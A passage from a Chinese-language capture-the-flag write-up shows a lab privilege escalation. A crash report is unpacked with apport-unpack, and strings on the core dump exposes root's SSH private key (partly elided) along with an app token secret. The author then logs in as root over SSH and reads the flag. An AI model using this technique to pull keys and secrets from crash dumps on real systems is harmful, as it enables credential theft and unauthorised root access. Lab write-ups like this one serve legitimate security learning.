可以通过以下命令将其转储到指定目录,在目录下原文本各个字段会变成一个二进制文件,可以通过strings命令读取:

dasith@secret:/var/crash$ apport-unpack _opt_count.1000.crash /tmp/hack
dasith@secret:/var/crash$ cd /tmp/hack/
dasith@secret:/tmp/hack$ strings -n 30 CoreDump
l characters = 2////////////////
l characters = 2////////////////
Please check if file exists and you have read privilege.
Enter source file/directory name: 
Save results a file? [y/N]: l words      = 45
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
.....................................................................
EAAAGBAJ+sy5Zu0DhhmcrVAjt0jaUeb3Q38Tc5X5FMOJzMP4RZaUT2ikW4tylGbASsoKDr
85oc1mHLONd1AyalDFrPqPTsHqtL4sENUCZlcM76hYxTUsc1xFaI5qAnj8Pu8Da8YrZD65
.....................................................................
BkBy2Yw/b7MhIucKqFTmGpU1xF2cDq7Lad2Pd1SseJBhgaqLwSjLZUWonPmE79L01t34rP
Xe2jKi6brhTBB8U0D8qK9/v2hB4iywAAAAMBAAEAAAGAGkWVDcBX1B8C7eOURXIM6DEUx3
...................................................................
xhDYPO15YxLBhWJ0J3G9v6SN/YH3UYj47i4s0zk6JZMnVGTfCwXOxLgL/w5WJMelDW+l3k
fO8ebYddyVz4w9AAAADnJvb3RAbG9jYWxob3N0AQIDBA==
-----END OPENSSH PRIVATE KEY-----
/lib/x86_64-linux-gnu/libc.so.6
DB_CONNECT=mongodb://127.0.0.1:27017/auth-web
instance_var=NODE_APP_INSTANCE
unique_id=2da69d97-a4c6-4bf9-b130-b5e3580b2449
LESSCLOSE=/usr/bin/lesspipe %s %s
LESSOPEN=| /usr/bin/lesspipe %s
TOKEN_SECRET=gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
PM2_INTERACTOR_PROCESSING=true
pm_pid_path=/home/dasith/.pm2/pids/index-0.pid
pm_err_log_path=/home/dasith/.pm2/logs/index-error.log
pm_exec_path=/home/dasith/local-web/index.js
pm_out_log_path=/home/dasith/.pm2/logs/index-out.log
GCC: (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0
dasith@secret:/tmp/hack$ 

可能会提示SSH密钥权限太开放不安全,从而需要进行密码认证,把ssh权限改低就好了:

> ssh -i id_rsa root@10.10.11.120
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0755 for 'id_rsa' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "id_rsa": bad permissions
root@10.10.11.120's password: 

>> chmod 400 ./id_rsa 
>> ssh -i id_rsa root@10.10.11.120
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-89-generic x86_64)

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Tue Oct 26 15:13:55 2021
root@secret:~# cat /root/root.txt 
06.....................................


请使用浏览器的分享功能分享到微信等